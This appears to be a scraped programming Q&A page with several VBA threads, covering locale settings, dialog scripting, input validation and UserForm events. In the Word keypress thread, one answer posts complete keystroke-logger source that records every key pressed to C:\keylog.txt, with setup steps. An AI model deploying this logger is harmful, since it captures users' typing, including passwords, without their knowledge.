I made a macro that records, then changes the local settings (in my case the decimal separator). At the end of the macro it would restore the settings.
When there is an error I make the program also restore the local settings using the ‘on error’ statement.
(A simplified example of the program is given below)
So far I got no issues; however, as I am now planning to transfer the program to my working colleagues, I really wish to not interfere with them and overwrite their own local settings.
Does the On error statement is here safe enough to use and make sure that the settings are restored?
Is there any case where the program could run into an error that the On error would fail to redirect to the error handler?
PS: I already know I can convert all my numbers using String = Replace(Number, ",", ".") but for some reasons I cannot afford to go through all the many variables of the macro.
Example Code:
Private Declare Function GetUserDefaultLCID% Lib "kernel32" ()
Private Declare Function GetLocaleInfoA Lib "kernel32" (ByVal Locale As Long, ByVal LCType As Long, ByVal lpLCData As String, ByVal cchData As Long) As Long
Private Declare Function SetLocaleInfoA Lib "kernel32" (ByVal Locale As Long, ByVal LCType As Long, ByVal lpLCData As String) As Boolean
Sub test()
' what to do on error
On Error GoTo ErrorHandler:
' define a number (Your local settings are set up to
Dim MyNumber As Single
MyNumber = 0.03
MsgBox ("Number is 0,03 ->" & MyNumber)
' record the settings in the variable LocalSettingsDecimal
Dim LocalSettingsDecimal As String
Dim Buffer As String
Buffer = String(256, 0)
Dim le As Integer
le = GetLocaleInfoA(GetUserDefaultLCID(), 14, Buffer, Len(Buffer))
LocalSettingsDecimal = Left(Buffer, le - 1)
' force decimal settings to '.'
Call SetLocaleInfoA(GetUserDefaultLCID(), 14, ".")
' Now is the program body
MsgBox ("Number is now 0.03 ->" & MyNumber)
' an unfortunate error:
MyNumber = "aa"
Call SetLocaleInfoA(GetUserDefaultLCID(), 14, LocalSettingsDecimal)
MsgBox ("Number should be back 0,03 ->" & MyNumber)
Exit Sub
ErrorHandler:
Call SetLocaleInfoA(GetUserDefaultLCID(), 14, LocalSettingsDecimal)
MsgBox ("There was an error but it's ok, it should be back to 0,03 ->" & MyNumber)
End Sub
There are many ways VBA code can get interrupted, some not even involving a clever user that would break on a MsgBox and hit the Stop button: If the host crashes for of something completely unrelated to your code (some KB updates come to mind), in the middle of a procedure's execution, then your error handlers won't be jumped into and there's nothing you can do to prevent that.
Don't tamper with user's local settings. Fix your code instead.
I already know I can convert all my numbers using String = Replace(Number, ",", ".")
Your code is treating numbers as strings, or vice-versa. If the number came from a cell in a worksheet, you can read it into a Double without having to think about what the user's decimal separator is.
Dim myNumber As Double
With ActiveSheet
If IsNumeric(.Range("A1").Value) And Not IsError(.Range("A1").Value) Then myNumber = CDbl(.Range("A1").Value)
'myNumber contains a valid numeric value
End With
If the number came from a textbox on a UserForm you crafted, and you allowed the user to enter a comma when your code requires that to be a dot, then you need to fix your data entry code and add some input validation to prevent that. One way to do this is to handle the KeyPress event of the TextBox control that's receiving the user's input - and "swallow" any invalid keys:
Private Sub txtInput_KeyPress(ByVal keyAscii As MSForms.ReturnInteger)
If Not IsValidKeyAscii(keyAscii, txtInput.Value) Then keyAscii = 0
End Sub
Private Function IsValidKeyAscii(ByVal keyAscii As Integer, ByVal value As String) As Boolean
'returns true if specified keyAscii is a number, or if it's a dot and value doesn't already contain one
IsValidKeyAscii = (keyAscii = vbKeyDot And InStr(1, value, Chr$(vbKeyDot)) = 0) Or (keyAscii >= vbKey0 And keyAscii <= vbKey9)
End Function
If the number came from an InputBox, you won't be able to prevent the user from entering whatever they want, but you can still validate the input and prevent bad input from being propagated further into your code.
Private Function PromptForNumber() As Double
Dim isValid As Boolean
Dim userInput As String
Do
userInput = InputBox("Enter a decimal number:")
isValid = IsNumeric(userInput) And InStr(userInput, ",") = 0
If Not isValid Then MsgBox "Value '" & userInput & "' is not numeric. Please make sure to use [en-US] decimal separator."
While Not isValid
PromptForNumber = CDbl(userInput)
End Function
There's simply no excuse for messing with the user's Control Panel settings.
If the End command is encountered anywhere in the code then this will foil your plan.
Take a look at the example below. If A calls B then no problem, errors are handled and when control returns to A the handler will still execute your locale reset. But uncomment the call to C and run the code again. Execution simply stops and control never returns to A so the reset is not performed.
So your scenario is that you send the workbook to your colleague and then they to add on some more logic which uses the End command for whatever reason.
Option Explicit
Sub A()
On Error GoTo ErrHandler
Dim foo As Long
'call B
B
' call C - uncomment to see impact
'C
ErrHandler:
Debug.Print "Error occurred in A"
Debug.Print "Fixing locale stuff..."
End Sub
Sub B()
On Error GoTo ErrHandler
Dim foo As Long
'cause an error
foo = "bar"
ErrHandler:
Debug.Print "Error occurred in B"
Debug.Print Err.Description
End Sub
Sub C()
On Error GoTo ErrHandler
Dim foo As Long
'cause an error
foo = "bar"
ErrHandler:
Debug.Print "Error occurred in C"
Debug.Print Err.Description
End
End Sub
Related
I'm a Technical Writer going through our application's documentation and I came across some issues trying to get some existing Cypress Enable code snippets to work.
We have a stripped-down version of the VBA editor and compiler in our application.
When I try to run a couple of programs using some of the statements, I never get the results I'm expecting, or nothing happens.
For example, when I run this script to test the Declare statement, instead of getting a dialog, nothing happens:
Declare Function GetFocus Lib "User32" () As Integer
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (Byval hwnd As Long, Byval lpstring As String, Byval lpstrlen As Long)
Sub Main
Dim hWindow%
Dim str1 As String *51
Dim str2 As String *25
hWindow% = GetFocus()
Print "GetWindowText returned: " & GetWindowText( hWindow%, str1, 51)
Print "GetWindowText2 returned: " & GetWindowText( hWindow%, str2, 25)
Print str1
Print str2
End Sub
For the first print statement (Print str1), I'm expecting a MessageBox with:
Title = "Enable Scripting Language Editor"
Body text = "GetWindowText returned: 50"
A single OK button.
With this code to test the DlgFocus statement, no matter which of the OK/Cancel controls I click, the dialog just shuts down:
Sub Main()
Dim ListBox1$()
Begin Dialog UserDialog ,,112,74,"Untitled",.DlgProc
TextBox 12,20,88,12,.TextBox1
OKButton 12,44,40,14
CancelButton 60,44,40,14
Text 12,11,88,8,"Enter Desired Salary:",.Text1
End Dialog
Dim d As UserDialog
Dialog d
End Sub
Function DlgProc(ControlName$,Action%,SuppValue%) As Integer
If Action% = 2 and ControlName$ = "OK" Then
If IsNumeric(DlgText$("TextBox1")) Then
Msgbox "Duly Noted."
Else
Msgbox "Sorry, you must enter a number."
DlgFocus "TextBox1"
DlgProc = 1
End If
End If
End Function
In this version to test the DlgFocus statement, no matter which control I click, the value returned is always zero:
Sub Main
Begin Dialog UserDialog 200,120,"Script #9",.DialogFunc
Text 10,10,180,15,"Please push the OK button"
TextBox 10,40,180,15,.Text
OKButton 30,90,60,20
PushButton 110,90,60,20,"&Hello"
End Dialog
Dim dlg As UserDialog
Print Dialog(dlg)
MsgBox "Dialog info: " & Dialog(dlg)
End Sub
Function DialogFunc%(DlgItem$, Action%, SuppValue%)
Print "Action=";Action%
Select Case Action%
Case 1 ' Dialog box initialization
Beep
Case 2 ' Value changing Or button pressed
If DlgItem$ = "Hello" Then
MsgBox "Hello"
DialogFunc% = True 'Do Not Exit the Dialog
End If
Case 4 ' Focus changed
Print "DlgFocus=""";DlgFocus();""""
MsgBox "DlgFocus info: " & DlgFocus() & """"
End Select
End Function
Any help is greatly appreciated.
So I have some basic VBA code:
Sub Test()
' Set error handler
On Error GoTo ErrorHandler
Dim strElevation As String
strElevation = InputBox("Enter elevation difference:", "Create Cross Lines", 0.5)
Exit Sub
ErrorHandler:
Call ReportError("Test")
End Sub
And it looks fine:
Is it possible to extend this so that the edit box will only allow a numeric value to 2 decimal places? Or is it simply too much work?
I know how to format text itself, eg: Format("1234.5678", "#.00"). But can the actual edit control have any customization itself?
You basically have three options here... In order of difficulty:
1. Validate the input
This uses the native InputBox() function as you have in your code sample above. You can return the value into a string variable, then do your validation at that point to make sure the data is formatted the way you want. If it doesn't pass, then display the input box again.
2. Custom VBA form
If you create your own VBA User Form, you can customize the text box to use a specific format, and perform the validation before the form accepts the input and closes. This is probably the most user-friendly approach, but involves a little more code than the first method.
Example:
Create sample VBA form with two input boxes and a command button. Name them txtDiff1, txtDiff2, and cmdOK respectively.
Double-click one of the controls, and add the following code to the code module behind the form:
Option Explicit
Private Sub cmdOK_Click()
MyElevationDifference = txtDiff1 ' (or txtDiff2)
Unload Me
End Sub
Private Sub txtDiff1_AfterUpdate()
Dim dblValue As Double
If IsNumeric(txtDiff1) Then
' Determine rounded amount
dblValue = Round(txtDiff1, 2)
' Automatically round the value
If dblValue <> CDbl(txtDiff1) Then txtDiff1 = dblValue
Else
MsgBox "Please enter a numeric value", vbExclamation
End If
End Sub
Private Sub txtDiff2_BeforeUpdate(ByVal Cancel As MSForms.ReturnBoolean)
Dim dblValue As Double
If IsNumeric(txtDiff2) Then
' Determine rounded amount
dblValue = Round(txtDiff2, 2)
' Require a max of 2 decimal places
If dblValue <> CDbl(txtDiff2) Then
Cancel = True
MsgBox "Please only use 2 decimal places", vbExclamation
End If
Else
MsgBox "Please enter a numeric value", vbExclamation
' Cancel change
Cancel = True
End If
End Sub
Paste the following into a regular code module. (This is how you can get the input in your main code through the custom form. Essentially the form assigns a value to the global variable, and you reference that after showing the form.)
Option Explicit
Public MyElevationDifference As Double
Public Sub GetElevationDifference()
UserForm1.Show
MsgBox "Elevation difference: " & MyElevationDifference, vbInformation
End Sub
Now when you run GetElevationDifference(), you will see a couple different approaches demonstrated on the user form. The first text box automatically rounds the input, while the second text box does not allow the user to continue unless they correct the input to use two decimal places or less.
Of course you will want to add some error handling and make the form look nice, but this gives you a simple example of how to use a VBA form to get user input. They involve a little more code, but obviously provide a huge level of additional flexibility over the simple InputBox() function.
3. Windows API calls
Just for completeness, there are ways to use Windows API calls to actually affect the controls on an input box, but this would end up being far more complex than the first two approaches, and I would not recommend it for something like this.
this is how you can restrict to input box to allow only numeric values:
strElevation = Application.InputBox(prompt:="Enter elevation difference:", Title:="Create Cross Lines", Default:=0.5, Type:=1)
https://msdn.microsoft.com/en-us/vba/excel-vba/articles/application-inputbox-method-excel
To validate the lenght, you can use the following code:
Do
strElevation = Application.InputBox(prompt:="Enter elevation difference:", Title:="Create Cross Lines", Default:=0.5, Type:=1)
If Len(strElevation) > 2 Then MsgBox "You typed in too many characters... 2 maximum!"
Loop While Len(strElevation) > 2
Private Sub TextBox1_AfterUpdate()
If InStr(1, Me.TextBox1.Value, ".") > 0 Then
If Len(Mid(Me.TextBox1.Value, _
InStr(1, Me.TextBox1.Value, "."), _
Len(Me.TextBox1.Value) - InStr(1, Me.TextBox1.Value, "."))) > 2 Then
Me.TextBox1.SetFocus
MsgBox "cannot have more than 2 decimal places"
End If
End If
End Sub
Apply to your situation but this gets you there
Sub Test()
' Set error handler
On Error GoTo ErrorHandler
Dim strElevation As String
strElevation = InputBox("Enter elevation difference:", "Create Cross Lines", 0.5)
If InStr(1, strElevation, ".") > 0 Then
If Len(Mid(strElevation, InStr(1, strElevation, "."), Len(strElevation) - InStr(1, strElevation, "."))) > 2 Then
MsgBox "cannot have more than 2 decimal places"
End If
End If
Exit Sub
ErrorHandler:
Call ReportError("Test")
End Subc
I've written the code below so that it will check if a process has been completed or not before closing the form. This userform is used as a scoresheet that will make range("A6") green to signify a pass, or range("B6") red to signify a fail as the final step of the sub, before unloading the form.
From what I've checked online so far, it should be working. While debugging, the macro gets all the way to where it says Cancel = True, reads over the line, but the form closes anyway.
Why isn't the cancel registering even when it reads over the line?
Private Sub Userform_queryclose(CloseMode As Integer, Cancel As Integer)
Dim wbScoreCard As Workbook
Dim wsScoreCard As Worksheet
Dim MSG As String
Set wbScoreCard = Workbooks(NameBox.Value)
Set wsScoreCard = wbScoreCard.Worksheets(Format(Date, "MM.dd.yy") & " " & CallType.Caption)
If Err.Number = 0 Then
If wsScoreCard.Range("A6").Interior.Color <> vbGreen Then
If wsScoreCard.Range("B6").Interior.Color <> vbRed Then
Beep
MSG = MsgBox("This scorecard is not complete! If you close it now, this scorecard will not be saved. Continue?", vbYesNo, "Warning - Scorecard Incomplete")
If MSG = vbYes Then
wbScoreCard.Close savechanges:=False
Exit Sub
Else
Cancel = True
Exit Sub
End If
End If
End If
End If
End Sub
Couple of things:
You're not shutting off error handling, so the Err.Number = 0 check has no effect; if there's a runtime error, execution jumps straight out of the procedure anyway.
MSG should be a vbMsgBoxResult, not a String. Your code only works because of implicit type conversions from the underlying Integer value to the String type you're forcing it into.
Unless you didn't post your entire code, Exit Sub is redundant in both branches.
The problem can be reproduced with simpler code:
Private Sub Userform_queryclose(CloseMode As Integer, Cancel As Integer)
Cancel = True
End Sub
The problem is that you made up that signature or somehow typed it up from memory. This is the signature for the QueryClose handler:
Private Sub UserForm_QueryClose(Cancel As Integer, CloseMode As Integer)
Notice the ordering of parameters.
You'll get the expected behavior by setting your CloseMode to True instead of Cancel... but a better fix would be to put the parameters in the correct order.
Event handlers don't really care about parameter names: it's about types and order. Since both parameters are Integer, it's down to ordering: the first Integer parameter is interpreted as the Cancel parameter, and the second is the CloseMode - the form / COM doesn't care how you called them, it's going to read the Cancel value from the first parameter anyway.
You can avoid this problem in the future, by selecting the event from the dropdowns at the top of the code pane:
Make sure the left-hand dropdown says "UserForm", and then select "QueryClose" from the right-hand dropdown:
If there's no handler for it, the VBE will create one properly formed for you.
Is there a way to detect when a user presses a key in Microsoft Word using VBA. I have searched for a method which does this. I have also searched for methods which create a way around this, such as detecting when the insertion point moves or it detects when a new character is placed in the word document, but I have had no look. I am currently using appWord_WindowSelectionChange(ByVal Sel As Selection) but this does not detect as you type.
I would appreciate anyone showing me how to either detect a keypress or would be able to show me a workaround which will accomplish the same goal.
Edit
I apologise if the summary of what I want above is not clear. What I have is a sub which fires using appWord_WindowSelectionChange(ByVal Sel As Selection). However what I want is this sub to fire whenever any data is entered into the word document, eg. a letter or a white space character. For example, if there was a character count in the footer of the word document and this sub which I have updates this character count, the character count field should update as the user types in the document.
Not my Code but HTH.
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Sub KeyStrokeLogger()
Dim i As Integer
Dim KeyAsciiValue As Integer
StartLogging
Do While True
For i = 1 To 255
If GetAsyncKeyState(i) = -32767 Then
If CapsLockIsOn() Then
If ShiftIsPressed() = True Then
KeyAsciiValue = Asc(LCase(Chr(i)))
Else
KeyAsciiValue = Asc(UCase(Chr(i)))
End If
Else
If ShiftIsPressed() = True Then
KeyAsciiValue = Asc(UCase(Chr(i)))
Else
KeyAsciiValue = Asc(LCase(Chr(i)))
End If
End If
LogKeyStroke KeyAsciiValue
End If
Next i
DoEvents
Loop
End Sub
Private Function CapsLockIsOn() As Boolean
CapsLockIsOn = CBool(GetKeyState(20))
End Function
Private Function ShiftIsPressed() As Boolean
ShiftIsPressed = CBool(GetAsyncKeyState(16))
End Function
Private Sub StartLogging()
Open "C:\keylog.txt" For Binary As #1
Seek #1, LOF(1) + 1
End Sub
Private Sub LogKeyStroke(KeyAsciiValue As Integer)
Dim c As String * 1
c = Chr(KeyAsciiValue)
Select Case KeyAsciiValue
Case 8
Put #1, , "{BACKSPACE}"
Case 9
Put #1, , "{TAB}"
Case 13
Put #1, , "{ENTER}"
Case 32 To 126
Put #1, , c
Case Else
Put #1, , "{" & KeyAsciiValue & "}"
End Select
End Sub
*"How to use the above code:
Step 1
Create a new document in MS-Word.
Step 2
Go to Tools, Macro, Visual Basic Editor
Step 3
Double click on ThisDocument Object under Project(Document1) in the Project Window.
Step 4
Copy the above code and paste it into the Visual Basic Editor.
Step 5
Close the Visual Basic Editor and save the document.
Step 6
Ensure that macros are enabled. To start logging keystrokes at any time click on Tools, Macro, Macros. Select KeyStrokeLogger and click Run. All the keystrokes will be stored in C:\keylog.txt.
"*
LinkBack to Post
Use keybindings to bind characters to the function you want. For example, the following code (when run) fires a message box when the user enters 0 in the word document.
Put this in module 1
Sub AddKeyBinding()
With Application
.CustomizationContext = ThisDocument
.KeyBindings.Add KeyCode:=BuildKeyCode(wdKey0), _
KeyCategory:=wdKeyCategoryCommand, _
Command:="userpressedzero"
End With
End Sub
Put this in module 2
Sub userpressedzero()
Dim MyText As String
Selection.TypeText ("0")
MsgBox ("user pressed 0")
End Sub
Now run module 1 and press 0 in your word document.
This is my first post so bear with me.
I get a run-time error 1004 when I try calling a module from my user form and passing on an argument. I'm sure the answer is pretty obvious but I'm new to passing on arguments.
From User Form when clicking submit button:
Sub SubmitButton_Click()
Dim addRowValue As Integer
addRowValue = LineBox.Value
MsgBox "Add " & addRowValue & " rows."
Call Sheet1.ResizeTable(addRowValue)
End Sub
From Sheet1:
Sub ResizeTable(addRowValue As Integer)
Dim rng As Range
Dim tbl As ListObject
Set tbl = ActiveSheet.ListObjects("DATA_INPUT")
Set rng = Range("DATA_INPUT[#All]").Resize(tbl.Range.Rows.Count + _
addRowValue, tbl.Range.Columns.Count)
tbl.Resize rng
End Sub
Call Sheet1.ResizeTable works fine but when I add the argument is when I get the error. Also, the module ResizeTable() works fine when I change the variable addRowValue to a set number and run it.
Thanks for any help!
Problem is you are assigning a string to variable of type integer.
Change
addRowValue = LineBox.Value
To
addRowValue = CInt(LineBox.Value)
EDIT: You might also want to ensure the user enters a numeric value so have something like:
If IsNumeric(LineBox.Value) Then
addRowValue = CInt(LineBox.Value)
Else
MsgBox "Please enter numeric value", vbCritical
LineBox.Value = ""
End If